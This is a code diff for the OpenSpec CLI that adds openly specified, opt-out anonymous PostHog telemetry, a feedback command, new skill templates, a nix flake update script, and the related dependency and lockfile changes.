This spec defines how OpenSpec resolves, reads, and writes user-level global configuration. It governs the `src/core/global-config.ts` module, which provides the foundation for storing user preferences, feature flags, and settings that persist across projects. The spec ensures cross-platform compatibility by following XDG Base Directory Specification with platform-specific fallbacks, and guarantees forward/backward compatibility through schema evolution rules.
|
||||
## Requirements
|
||||
### Requirement: Global configuration storage
|
||||
The system SHALL store global configuration in `~/.config/openspec/config.json`, including telemetry state with `anonymousId` and `noticeSeen` fields.
|
||||
|
||||
#### Scenario: Initial config creation
|
||||
- **WHEN** no global config file exists
|
||||
- **AND** the first telemetry event is about to be sent
|
||||
- **THEN** the system creates `~/.config/openspec/config.json` with telemetry configuration
|
||||
|
||||
#### Scenario: Telemetry config structure
|
||||
- **WHEN** reading or writing telemetry configuration
|
||||
- **THEN** the config contains a `telemetry` object with `anonymousId` (string UUID) and `noticeSeen` (boolean) fields
|
||||
|
||||
#### Scenario: Config file format
|
||||
- **WHEN** storing configuration
|
||||
- **THEN** the system writes valid JSON that can be read and modified by users
|
||||
|
||||
#### Scenario: Existing config preservation
|
||||
- **WHEN** adding telemetry fields to an existing config file
|
||||
- **THEN** the system preserves all existing configuration fields
|
||||
|
||||
### Requirement: Global Config Directory Path
|
||||
|
||||
The system SHALL resolve the global configuration directory path following XDG Base Directory Specification with platform-specific fallbacks.
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
# telemetry Specification
|
||||
|
||||
## Purpose
|
||||
|
||||
This spec defines how OpenSpec collects anonymous usage telemetry to help improve the tool. It governs the `src/telemetry/` module, which handles PostHog integration, privacy-preserving event design, user opt-out mechanisms, and first-run notice display. The spec ensures telemetry is minimal, transparent, and respects user privacy.
|
||||
|
||||
## Requirements
|
||||
|
||||
### Requirement: Command execution tracking
|
||||
The system SHALL send a `command_executed` event to PostHog when any CLI command executes, including only the command name and OpenSpec version as properties.
|
||||
|
||||
#### Scenario: Standard command execution
|
||||
- **WHEN** a user runs any openspec command
|
||||
- **THEN** the system sends a `command_executed` event with `command` and `version` properties
|
||||
|
||||
#### Scenario: Subcommand execution
|
||||
- **WHEN** a user runs a nested command like `openspec change apply`
|
||||
- **THEN** the system sends a `command_executed` event with the full command path (e.g., `change:apply`)
|
||||
|
||||
### Requirement: Privacy-preserving event design
|
||||
The system SHALL NOT include command arguments, file paths, project names, spec content, error messages, or IP addresses in telemetry events.
|
||||
|
||||
#### Scenario: Command with arguments
|
||||
- **WHEN** a user runs `openspec init my-project --force`
|
||||
- **THEN** the telemetry event contains only `command: "init"` and `version: "<version>"` without arguments
|
||||
|
||||
#### Scenario: IP address exclusion
|
||||
- **WHEN** the system sends a telemetry event
|
||||
- **THEN** the event explicitly sets `$ip: null` to prevent IP tracking
|
||||
|
||||
### Requirement: Environment variable opt-out
|
||||
The system SHALL disable telemetry when `OPENSPEC_TELEMETRY=0` or `DO_NOT_TRACK=1` environment variables are set.
|
||||
|
||||
#### Scenario: OPENSPEC_TELEMETRY opt-out
|
||||
- **WHEN** `OPENSPEC_TELEMETRY=0` is set in the environment
|
||||
- **THEN** the system sends no telemetry events
|
||||
|
||||
#### Scenario: DO_NOT_TRACK opt-out
|
||||
- **WHEN** `DO_NOT_TRACK=1` is set in the environment
|
||||
- **THEN** the system sends no telemetry events
|
||||
|
||||
#### Scenario: Environment variable takes precedence
|
||||
- **WHEN** the user has previously used the CLI (config exists)
|
||||
- **AND** the user sets `OPENSPEC_TELEMETRY=0`
|
||||
- **THEN** telemetry is disabled regardless of config state
|
||||
|
||||
### Requirement: CI environment auto-disable
|
||||
The system SHALL automatically disable telemetry when `CI=true` environment variable is detected.
|
||||
|
||||
#### Scenario: CI environment detection
|
||||
- **WHEN** `CI=true` is set in the environment
|
||||
- **THEN** the system sends no telemetry events
|
||||
|
||||
#### Scenario: CI with explicit enable
|
||||
- **WHEN** `CI=true` is set
|
||||
- **AND** `OPENSPEC_TELEMETRY=1` is explicitly set
|
||||
- **THEN** telemetry remains disabled (CI takes precedence for privacy)
|
||||
|
||||
### Requirement: First-run telemetry notice
|
||||
The system SHALL display a one-line telemetry disclosure notice on the first command execution, before any telemetry is sent.
|
||||
|
||||
#### Scenario: First command execution
|
||||
- **WHEN** a user runs their first openspec command
|
||||
- **AND** telemetry is enabled
|
||||
- **THEN** the system displays: "Note: OpenSpec collects anonymous usage stats. Opt out: OPENSPEC_TELEMETRY=0"
|
||||
|
||||
#### Scenario: Subsequent command execution
|
||||
- **WHEN** a user has already seen the notice (noticeSeen: true in config)
|
||||
- **THEN** the system does not display the notice
|
||||
|
||||
#### Scenario: Notice before telemetry
|
||||
- **WHEN** displaying the first-run notice
|
||||
- **THEN** the notice appears before any telemetry event is sent
|
||||
|
||||
### Requirement: Anonymous user identification
|
||||
The system SHALL generate a random UUID as an anonymous identifier on first telemetry send, stored in global config.
|
||||
|
||||
#### Scenario: First telemetry event
|
||||
- **WHEN** the first telemetry event is sent
|
||||
- **AND** no anonymousId exists in config
|
||||
- **THEN** the system generates a random UUID v4 and stores it in config
|
||||
|
||||
#### Scenario: Persistent identity
|
||||
- **WHEN** a user runs multiple commands across sessions
|
||||
- **THEN** the same anonymousId is used for all events
|
||||
|
||||
#### Scenario: Lazy generation with opt-out
|
||||
- **WHEN** a user opts out before running any command
|
||||
- **THEN** no anonymousId is ever generated or stored
|
||||
|
||||
### Requirement: Immediate event sending
|
||||
The system SHALL send telemetry events immediately without batching, using `flushAt: 1` and `flushInterval: 0` configuration.
|
||||
|
||||
#### Scenario: Event transmission timing
|
||||
- **WHEN** a command executes
|
||||
- **THEN** the telemetry event is sent immediately, not queued for batch transmission
|
||||
|
||||
### Requirement: Graceful shutdown
|
||||
The system SHALL call `posthog.shutdown()` before CLI exit to ensure pending events are flushed.
|
||||
|
||||
#### Scenario: Normal exit
|
||||
- **WHEN** a command completes successfully
|
||||
- **THEN** the system awaits `shutdown()` before exiting
|
||||
|
||||
#### Scenario: Error exit
|
||||
- **WHEN** a command fails with an error
|
||||
- **THEN** the system still awaits `shutdown()` before exiting
|
||||
|
||||
### Requirement: Silent failure handling
|
||||
The system SHALL silently ignore telemetry failures without affecting CLI functionality.
|
||||
|
||||
#### Scenario: Network failure
|
||||
- **WHEN** the telemetry request fails due to network error
|
||||
- **THEN** the CLI command completes normally without error message
|
||||
|
||||
#### Scenario: PostHog outage
|
||||
- **WHEN** PostHog service is unavailable
|
||||
- **THEN** the CLI command completes normally without error message
|
||||
|
||||
#### Scenario: Shutdown failure
|
||||
- **WHEN** `shutdown()` fails or times out
|
||||
- **THEN** the CLI exits normally without error message
|
||||
+3
-2
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@fission-ai/openspec",
|
||||
"version": "0.17.2",
|
||||
"version": "0.21.0",
|
||||
"description": "AI-native system for spec-driven development",
|
||||
"keywords": [
|
||||
"openspec",
|
||||
@@ -54,13 +54,13 @@
|
||||
"check:pack-version": "node scripts/pack-version-check.mjs",
|
||||
"release": "pnpm run release:ci",
|
||||
"release:ci": "pnpm run check:pack-version && pnpm exec changeset publish",
|
||||
"release:local": "pnpm exec changeset version && pnpm run check:pack-version && pnpm exec changeset publish",
|
||||
"changeset": "changeset"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=20.19.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@changesets/changelog-github": "^0.5.2",
|
||||
"@changesets/cli": "^2.27.7",
|
||||
"@types/node": "^24.2.0",
|
||||
"@vitest/ui": "^3.2.4",
|
||||
@@ -76,6 +76,7 @@
|
||||
"commander": "^14.0.0",
|
||||
"fast-glob": "^3.3.3",
|
||||
"ora": "^8.2.0",
|
||||
"posthog-node": "^5.20.0",
|
||||
"yaml": "^2.8.2",
|
||||
"zod": "^4.0.17"
|
||||
}
|
||||
|
||||
Generated
+84
@@ -26,6 +26,9 @@ importers:
|
||||
ora:
|
||||
specifier: ^8.2.0
|
||||
version: 8.2.0
|
||||
posthog-node:
|
||||
specifier: ^5.20.0
|
||||
version: 5.20.0
|
||||
yaml:
|
||||
specifier: ^2.8.2
|
||||
version: 2.8.2
|
||||
@@ -33,6 +36,9 @@ importers:
|
||||
specifier: ^4.0.17
|
||||
version: 4.0.17
|
||||
devDependencies:
|
||||
'@changesets/changelog-github':
|
||||
specifier: ^0.5.2
|
||||
version: 0.5.2
|
||||
'@changesets/cli':
|
||||
specifier: ^2.27.7
|
||||
version: 2.29.6(@types/node@24.2.0)
|
||||
@@ -70,6 +76,9 @@ packages:
|
||||
'@changesets/changelog-git@0.2.1':
|
||||
resolution: {integrity: sha512-x/xEleCFLH28c3bQeQIyeZf8lFXyDFVn1SgcBiR2Tw/r4IAWlk1fzxCEZ6NxQAjF2Nwtczoen3OA2qR+UawQ8Q==}
|
||||
|
||||
'@changesets/changelog-github@0.5.2':
|
||||
resolution: {integrity: sha512-HeGeDl8HaIGj9fQHo/tv5XKQ2SNEi9+9yl1Bss1jttPqeiASRXhfi0A2wv8yFKCp07kR1gpOI5ge6+CWNm1jPw==}
|
||||
|
||||
'@changesets/cli@2.29.6':
|
||||
resolution: {integrity: sha512-6qCcVsIG1KQLhpQ5zE8N0PckIx4+9QlHK3z6/lwKnw7Tir71Bjw8BeOZaxA/4Jt00pcgCnCSWZnyuZf5Il05QQ==}
|
||||
hasBin: true
|
||||
@@ -83,6 +92,9 @@ packages:
|
||||
'@changesets/get-dependents-graph@2.1.3':
|
||||
resolution: {integrity: sha512-gphr+v0mv2I3Oxt19VdWRRUxq3sseyUpX9DaHpTUmLj92Y10AGy+XOtV+kbM6L/fDcpx7/ISDFK6T8A/P3lOdQ==}
|
||||
|
||||
'@changesets/get-github-info@0.7.0':
|
||||
resolution: {integrity: sha512-+i67Bmhfj9V4KfDeS1+Tz3iF32btKZB2AAx+cYMqDSRFP7r3/ZdGbjCo+c6qkyViN9ygDuBjzageuPGJtKGe5A==}
|
||||
|
||||
'@changesets/get-release-plan@4.0.13':
|
||||
resolution: {integrity: sha512-DWG1pus72FcNeXkM12tx+xtExyH/c9I1z+2aXlObH3i9YA7+WZEVaiHzHl03thpvAgWTRaH64MpfHxozfF7Dvg==}
|
||||
|
||||
@@ -484,6 +496,9 @@ packages:
|
||||
'@polka/url@1.0.0-next.29':
|
||||
resolution: {integrity: sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==}
|
||||
|
||||
'@posthog/core@1.9.1':
|
||||
resolution: {integrity: sha512-kRb1ch2dhQjsAapZmu6V66551IF2LnCbc1rnrQqnR7ArooVyJN9KOPXre16AJ3ObJz2eTfuP7x25BMyS2Y5Exw==}
|
||||
|
||||
'@rollup/rollup-android-arm-eabi@4.46.2':
|
||||
resolution: {integrity: sha512-Zj3Hl6sN34xJtMv7Anwb5Gu01yujyE/cLBDB2gnHTAHaWS1Z38L7kuSG+oAh0giZMqG060f/YBStXtMH6FvPMA==}
|
||||
cpu: [arm]
|
||||
@@ -823,6 +838,9 @@ packages:
|
||||
resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==}
|
||||
engines: {node: '>= 8'}
|
||||
|
||||
dataloader@1.4.0:
|
||||
resolution: {integrity: sha512-68s5jYdlvasItOJnCuI2Q9s4q98g0pCyL3HrcKJu8KNugUl8ahgmZYg38ysLTgQjjXX3H8CJLkAvWrclWfcalw==}
|
||||
|
||||
debug@4.4.1:
|
||||
resolution: {integrity: sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==}
|
||||
engines: {node: '>=6.0'}
|
||||
@@ -847,6 +865,10 @@ packages:
|
||||
resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==}
|
||||
engines: {node: '>=8'}
|
||||
|
||||
dotenv@8.6.0:
|
||||
resolution: {integrity: sha512-IrPdXQsk2BbzvCBGBOTmmSH5SodmqZNt4ERAZDmW4CT+tL8VtvinqywuANaFu4bOMWki16nqf0e4oC0QIaDr/g==}
|
||||
engines: {node: '>=10'}
|
||||
|
||||
emoji-regex@10.4.0:
|
||||
resolution: {integrity: sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==}
|
||||
|
||||
@@ -1192,6 +1214,15 @@ packages:
|
||||
natural-compare@1.4.0:
|
||||
resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==}
|
||||
|
||||
node-fetch@2.7.0:
|
||||
resolution: {integrity: sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==}
|
||||
engines: {node: 4.x || >=6.0.0}
|
||||
peerDependencies:
|
||||
encoding: ^0.1.0
|
||||
peerDependenciesMeta:
|
||||
encoding:
|
||||
optional: true
|
||||
|
||||
onetime@7.0.0:
|
||||
resolution: {integrity: sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==}
|
||||
engines: {node: '>=18'}
|
||||
@@ -1284,6 +1315,10 @@ packages:
|
||||
resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==}
|
||||
engines: {node: ^10 || ^12 || >=14}
|
||||
|
||||
posthog-node@5.20.0:
|
||||
resolution: {integrity: sha512-LkR5KfrvEQTnUtNKN97VxFB00KcYG1Iz8iKg8r0e/i7f1eQhg1WSZO+Jp1B4bvtHCmdpIE4HwYbvCCzFoCyjVg==}
|
||||
engines: {node: '>=20'}
|
||||
|
||||
prelude-ls@1.2.1:
|
||||
resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==}
|
||||
engines: {node: '>= 0.8.0'}
|
||||
@@ -1455,6 +1490,9 @@ packages:
|
||||
resolution: {integrity: sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==}
|
||||
engines: {node: '>=6'}
|
||||
|
||||
tr46@0.0.3:
|
||||
resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==}
|
||||
|
||||
ts-api-utils@2.1.0:
|
||||
resolution: {integrity: sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==}
|
||||
engines: {node: '>=18.12'}
|
||||
@@ -1564,6 +1602,12 @@ packages:
|
||||
jsdom:
|
||||
optional: true
|
||||
|
||||
webidl-conversions@3.0.1:
|
||||
resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==}
|
||||
|
||||
whatwg-url@5.0.0:
|
||||
resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==}
|
||||
|
||||
which@2.0.2:
|
||||
resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==}
|
||||
engines: {node: '>= 8'}
|
||||
@@ -1631,6 +1675,14 @@ snapshots:
|
||||
dependencies:
|
||||
'@changesets/types': 6.1.0
|
||||
|
||||
'@changesets/changelog-github@0.5.2':
|
||||
dependencies:
|
||||
'@changesets/get-github-info': 0.7.0
|
||||
'@changesets/types': 6.1.0
|
||||
dotenv: 8.6.0
|
||||
transitivePeerDependencies:
|
||||
- encoding
|
||||
|
||||
'@changesets/cli@2.29.6(@types/node@24.2.0)':
|
||||
dependencies:
|
||||
'@changesets/apply-release-plan': 7.0.12
|
||||
@@ -1685,6 +1737,13 @@ snapshots:
|
||||
picocolors: 1.1.1
|
||||
semver: 7.7.2
|
||||
|
||||
'@changesets/get-github-info@0.7.0':
|
||||
dependencies:
|
||||
dataloader: 1.4.0
|
||||
node-fetch: 2.7.0
|
||||
transitivePeerDependencies:
|
||||
- encoding
|
||||
|
||||
'@changesets/get-release-plan@4.0.13':
|
||||
dependencies:
|
||||
'@changesets/assemble-release-plan': 6.0.9
|
||||
@@ -2038,6 +2097,10 @@ snapshots:
|
||||
|
||||
'@polka/url@1.0.0-next.29': {}
|
||||
|
||||
'@posthog/core@1.9.1':
|
||||
dependencies:
|
||||
cross-spawn: 7.0.6
|
||||
|
||||
'@rollup/rollup-android-arm-eabi@4.46.2':
|
||||
optional: true
|
||||
|
||||
@@ -2365,6 +2428,8 @@ snapshots:
|
||||
shebang-command: 2.0.0
|
||||
which: 2.0.2
|
||||
|
||||
dataloader@1.4.0: {}
|
||||
|
||||
debug@4.4.1:
|
||||
dependencies:
|
||||
ms: 2.1.3
|
||||
@@ -2379,6 +2444,8 @@ snapshots:
|
||||
dependencies:
|
||||
path-type: 4.0.0
|
||||
|
||||
dotenv@8.6.0: {}
|
||||
|
||||
emoji-regex@10.4.0: {}
|
||||
|
||||
emoji-regex@8.0.0: {}
|
||||
@@ -2723,6 +2790,10 @@ snapshots:
|
||||
|
||||
natural-compare@1.4.0: {}
|
||||
|
||||
node-fetch@2.7.0:
|
||||
dependencies:
|
||||
whatwg-url: 5.0.0
|
||||
|
||||
onetime@7.0.0:
|
||||
dependencies:
|
||||
mimic-function: 5.0.1
|
||||
@@ -2808,6 +2879,10 @@ snapshots:
|
||||
picocolors: 1.1.1
|
||||
source-map-js: 1.2.1
|
||||
|
||||
posthog-node@5.20.0:
|
||||
dependencies:
|
||||
'@posthog/core': 1.9.1
|
||||
|
||||
prelude-ls@1.2.1: {}
|
||||
|
||||
prettier@2.8.8: {}
|
||||
@@ -2967,6 +3042,8 @@ snapshots:
|
||||
|
||||
totalist@3.0.1: {}
|
||||
|
||||
tr46@0.0.3: {}
|
||||
|
||||
ts-api-utils@2.1.0(typescript@5.9.3):
|
||||
dependencies:
|
||||
typescript: 5.9.3
|
||||
@@ -3074,6 +3151,13 @@ snapshots:
|
||||
- tsx
|
||||
- yaml
|
||||
|
||||
webidl-conversions@3.0.1: {}
|
||||
|
||||
whatwg-url@5.0.0:
|
||||
dependencies:
|
||||
tr46: 0.0.3
|
||||
webidl-conversions: 3.0.1
|
||||
|
||||
which@2.0.2:
|
||||
dependencies:
|
||||
isexe: 2.0.0
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# OpenSpec Scripts
|
||||
|
||||
Utility scripts for OpenSpec maintenance and development.
|
||||
|
||||
## update-flake.sh
|
||||
|
||||
Updates `flake.nix` version and dependency hash automatically.
|
||||
|
||||
**When to use**: After updating dependencies or releasing a new version.
|
||||
|
||||
**Usage**:
|
||||
```bash
|
||||
./scripts/update-flake.sh
|
||||
```
|
||||
|
||||
**What it does**:
|
||||
1. Extracts version from `package.json`
|
||||
2. Updates version in `flake.nix`
|
||||
3. Automatically determines the correct pnpm dependency hash
|
||||
4. Updates the hash in `flake.nix`
|
||||
5. Verifies the build succeeds
|
||||
|
||||
**Example workflow**:
|
||||
```bash
|
||||
# After version bump and dependency updates
|
||||
pnpm install
|
||||
./scripts/update-flake.sh
|
||||
git add flake.nix
|
||||
git commit -m "chore: update flake.nix for v0.18.0"
|
||||
```
|
||||
|
||||
## postinstall.js
|
||||
|
||||
Post-installation script that runs after package installation.
|
||||
|
||||
## pack-version-check.mjs
|
||||
|
||||
Validates package version consistency before publishing.
|
||||
Executable
+75
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Script to update flake.nix version and dependency hash
|
||||
# Run this after updating package.json version
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
FLAKE_FILE="$PROJECT_ROOT/flake.nix"
|
||||
PACKAGE_JSON="$PROJECT_ROOT/package.json"
|
||||
|
||||
# Detect OS and set sed in-place flag
|
||||
if [[ "$OSTYPE" == "darwin"* ]]; then
|
||||
# macOS (BSD sed) requires empty string argument for -i
|
||||
SED_INPLACE=(-i '')
|
||||
else
|
||||
# Linux (GNU sed)
|
||||
SED_INPLACE=(-i)
|
||||
fi
|
||||
|
||||
echo "==> Updating flake.nix..."
|
||||
|
||||
# Extract version from package.json
|
||||
VERSION=$(node -p "require('$PACKAGE_JSON').version")
|
||||
echo " Detected version: $VERSION"
|
||||
|
||||
# Update version in flake.nix
|
||||
if ! grep -q "version = \"$VERSION\"" "$FLAKE_FILE"; then
|
||||
echo " Updating version in flake.nix..."
|
||||
sed "${SED_INPLACE[@]}" "s|version = \"[^\"]*\"|version = \"$VERSION\"|" "$FLAKE_FILE"
|
||||
else
|
||||
echo " Version already up-to-date in flake.nix"
|
||||
fi
|
||||
|
||||
# Set placeholder hash to trigger error
|
||||
echo " Setting placeholder hash..."
|
||||
PLACEHOLDER="sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
|
||||
sed "${SED_INPLACE[@]}" "s|hash = \"sha256-[^\"]*\"|hash = \"$PLACEHOLDER\"|" "$FLAKE_FILE"
|
||||
|
||||
# Try to build and capture the correct hash
|
||||
echo " Building to get correct hash (this will fail)..."
|
||||
BUILD_OUTPUT=$(nix build 2>&1 || true)
|
||||
|
||||
# Extract the correct hash from error output
|
||||
CORRECT_HASH=$(echo "$BUILD_OUTPUT" | grep -oP 'got:\s+\Ksha256-[A-Za-z0-9+/=]+' | head -1)
|
||||
|
||||
if [ -z "$CORRECT_HASH" ]; then
|
||||
echo "❌ Error: Could not extract hash from build output"
|
||||
echo "Build output:"
|
||||
echo "$BUILD_OUTPUT"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo " Detected hash: $CORRECT_HASH"
|
||||
|
||||
# Update flake.nix with correct hash
|
||||
sed "${SED_INPLACE[@]}" "s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
|
||||
|
||||
# Verify the build works
|
||||
echo " Verifying build..."
|
||||
if nix build 2>&1 | grep -q "warning: Git tree.*is dirty"; then
|
||||
echo "⚠️ Warning: Git tree is dirty, but build succeeded"
|
||||
else
|
||||
echo "✅ Build successful"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "✅ flake.nix updated successfully!"
|
||||
echo " Version: $VERSION"
|
||||
echo " Hash: $CORRECT_HASH"
|
||||
echo ""
|
||||
echo "Next steps:"
|
||||
echo " 1. Test: nix run . -- --version"
|
||||
echo " 2. Commit: git add flake.nix"
|
||||
echo " 3. Include in version bump commit"
|
||||
+55
-2
@@ -13,13 +13,35 @@ import { ChangeCommand } from '../commands/change.js';
|
||||
import { ValidateCommand } from '../commands/validate.js';
|
||||
import { ShowCommand } from '../commands/show.js';
|
||||
import { CompletionCommand } from '../commands/completion.js';
|
||||
import { FeedbackCommand } from '../commands/feedback.js';
|
||||
import { registerConfigCommand } from '../commands/config.js';
|
||||
import { registerArtifactWorkflowCommands } from '../commands/artifact-workflow.js';
|
||||
import { maybeShowTelemetryNotice, trackCommand, shutdown } from '../telemetry/index.js';
|
||||
|
||||
const program = new Command();
|
||||
const require = createRequire(import.meta.url);
|
||||
const { version } = require('../../package.json');
|
||||
|
||||
/**
|
||||
* Get the full command path for nested commands.
|
||||
* For example: 'change show' -> 'change:show'
|
||||
*/
|
||||
function getCommandPath(command: Command): string {
|
||||
const names: string[] = [];
|
||||
let current: Command | null = command;
|
||||
|
||||
while (current) {
|
||||
const name = current.name();
|
||||
// Skip the root 'openspec' command
|
||||
if (name && name !== 'openspec') {
|
||||
names.unshift(name);
|
||||
}
|
||||
current = current.parent;
|
||||
}
|
||||
|
||||
return names.join(':') || 'openspec';
|
||||
}
|
||||
|
||||
program
|
||||
.name('openspec')
|
||||
.description('AI-native system for spec-driven development')
|
||||
@@ -28,12 +50,27 @@ program
|
||||
// Global options
|
||||
program.option('--no-color', 'Disable color output');
|
||||
|
||||
// Apply global flags before any command runs
|
||||
program.hook('preAction', (thisCommand) => {
|
||||
// Apply global flags and telemetry before any command runs
|
||||
// Note: preAction receives (thisCommand, actionCommand) where:
|
||||
// - thisCommand: the command where hook was added (root program)
|
||||
// - actionCommand: the command actually being executed (subcommand)
|
||||
program.hook('preAction', async (thisCommand, actionCommand) => {
|
||||
const opts = thisCommand.opts();
|
||||
if (opts.color === false) {
|
||||
process.env.NO_COLOR = '1';
|
||||
}
|
||||
|
||||
// Show first-run telemetry notice (if not seen)
|
||||
await maybeShowTelemetryNotice();
|
||||
|
||||
// Track command execution (use actionCommand to get the actual subcommand)
|
||||
const commandPath = getCommandPath(actionCommand);
|
||||
await trackCommand(commandPath, version);
|
||||
});
|
||||
|
||||
// Shutdown telemetry after command completes
|
||||
program.hook('postAction', async () => {
|
||||
await shutdown();
|
||||
});
|
||||
|
||||
const availableToolIds = AI_TOOLS.filter((tool) => tool.available).map((tool) => tool.value);
|
||||
@@ -257,6 +294,22 @@ program
|
||||
}
|
||||
});
|
||||
|
||||
// Feedback command
|
||||
program
|
||||
.command('feedback <message>')
|
||||
.description('Submit feedback about OpenSpec')
|
||||
.option('--body <text>', 'Detailed description for the feedback')
|
||||
.action(async (message: string, options?: { body?: string }) => {
|
||||
try {
|
||||
const feedbackCommand = new FeedbackCommand();
|
||||
await feedbackCommand.execute(message, options);
|
||||
} catch (error) {
|
||||
console.log();
|
||||
ora().fail(`Error: ${(error as Error).message}`);
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
// Completion command with subcommands
|
||||
const completionCmd = program
|
||||
.command('completion')
|
||||
|
||||
@@ -28,7 +28,7 @@ import {
|
||||
type SchemaInfo,
|
||||
} from '../core/artifact-graph/index.js';
|
||||
import { createChange, validateChangeName } from '../utils/change-utils.js';
|
||||
import { getNewChangeSkillTemplate, getContinueChangeSkillTemplate, getApplyChangeSkillTemplate, getFfChangeSkillTemplate, getSyncSpecsSkillTemplate, getArchiveChangeSkillTemplate, getOpsxNewCommandTemplate, getOpsxContinueCommandTemplate, getOpsxApplyCommandTemplate, getOpsxFfCommandTemplate, getOpsxSyncCommandTemplate, getOpsxArchiveCommandTemplate } from '../core/templates/skill-templates.js';
|
||||
import { getExploreSkillTemplate, getNewChangeSkillTemplate, getContinueChangeSkillTemplate, getApplyChangeSkillTemplate, getFfChangeSkillTemplate, getSyncSpecsSkillTemplate, getArchiveChangeSkillTemplate, getVerifyChangeSkillTemplate, getOpsxExploreCommandTemplate, getOpsxNewCommandTemplate, getOpsxContinueCommandTemplate, getOpsxApplyCommandTemplate, getOpsxFfCommandTemplate, getOpsxSyncCommandTemplate, getOpsxArchiveCommandTemplate, getOpsxVerifyCommandTemplate } from '../core/templates/skill-templates.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
@@ -793,29 +793,35 @@ async function artifactExperimentalSetupCommand(): Promise<void> {
|
||||
const commandsDir = path.join(projectRoot, '.claude', 'commands', 'opsx');
|
||||
|
||||
// Get skill templates
|
||||
const exploreSkill = getExploreSkillTemplate();
|
||||
const newChangeSkill = getNewChangeSkillTemplate();
|
||||
const continueChangeSkill = getContinueChangeSkillTemplate();
|
||||
const applyChangeSkill = getApplyChangeSkillTemplate();
|
||||
const ffChangeSkill = getFfChangeSkillTemplate();
|
||||
const syncSpecsSkill = getSyncSpecsSkillTemplate();
|
||||
const archiveChangeSkill = getArchiveChangeSkillTemplate();
|
||||
const verifyChangeSkill = getVerifyChangeSkillTemplate();
|
||||
|
||||
// Get command templates
|
||||
const exploreCommand = getOpsxExploreCommandTemplate();
|
||||
const newCommand = getOpsxNewCommandTemplate();
|
||||
const continueCommand = getOpsxContinueCommandTemplate();
|
||||
const applyCommand = getOpsxApplyCommandTemplate();
|
||||
const ffCommand = getOpsxFfCommandTemplate();
|
||||
const syncCommand = getOpsxSyncCommandTemplate();
|
||||
const archiveCommand = getOpsxArchiveCommandTemplate();
|
||||
const verifyCommand = getOpsxVerifyCommandTemplate();
|
||||
|
||||
// Create skill directories and SKILL.md files
|
||||
const skills = [
|
||||
{ template: exploreSkill, dirName: 'openspec-explore' },
|
||||
{ template: newChangeSkill, dirName: 'openspec-new-change' },
|
||||
{ template: continueChangeSkill, dirName: 'openspec-continue-change' },
|
||||
{ template: applyChangeSkill, dirName: 'openspec-apply-change' },
|
||||
{ template: ffChangeSkill, dirName: 'openspec-ff-change' },
|
||||
{ template: syncSpecsSkill, dirName: 'openspec-sync-specs' },
|
||||
{ template: archiveChangeSkill, dirName: 'openspec-archive-change' },
|
||||
{ template: verifyChangeSkill, dirName: 'openspec-verify-change' },
|
||||
];
|
||||
|
||||
